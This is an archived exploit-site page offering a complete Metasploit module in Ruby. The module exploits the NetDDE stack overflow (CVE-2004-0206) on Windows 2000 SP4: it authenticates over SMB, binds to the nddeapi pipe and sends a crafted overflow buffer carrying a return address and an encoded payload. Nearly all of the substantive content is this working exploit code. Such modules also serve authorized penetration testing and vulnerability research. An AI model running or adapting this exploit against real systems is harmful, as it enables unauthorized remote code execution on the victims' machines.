what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft NetDDE Service Overflow

Microsoft NetDDE Service Overflow
Posted Nov 26, 2009
Authored by Pusscat | Site metasploit.com

This Metasploit module exploits a stack overflow in the NetDDE service, which is the precursor to the DCOM interface. This exploit effects only operating systems released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim that this vulnerability can be exploited without authentication, the NDDEAPI pipe is only accessible after successful authentication.

tags | exploit, overflow
systems | windows
advisories | CVE-2004-0206
SHA-256 | c2bd4617c647ff19e1847b77cc3d7916505f16f526abbfabcf23ced43ab47f97

Microsoft NetDDE Service Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft NetDDE Service Overflow',
'Description' => %q{
This module exploits a stack overflow in the NetDDE service, which is the
precursor to the DCOM interface. This exploit effects only operating systems
released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
that this vulnerability can be exploited without authentication, the NDDEAPI
pipe is only accessible after successful authentication.
},
'Author' => [ 'pusscat' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0206'],
[ 'OSVDB', '10689'],
[ 'BID', '11372'],
[ 'MSB', 'MS04-031'],

],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => (0x600 - (133*4) - 4),
'BadChars' => "\\/.:$\x00", # \ / . : $ NULL
'Prepend' => 'A' * 8,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :)
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']),
], self.class)
end

def exploit
connect()
smb_login()
print_status("Trying target #{target.name}...")

handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle}")
dcerpc_bind(handle)
print_status("Bound to #{handle}")

retOverWrite =
'AA' + (NDR.long(target.ret) * 133) + payload.encoded

overflowChunk =
retOverWrite +
NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
NDR.long(0x0)

stubdata =
NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
NDR.long(rand(0xFFFFFFFF))

print_status('Calling the vulnerable function...')

begin
response = dcerpc.call(0xc, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end

handler
disconnect
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close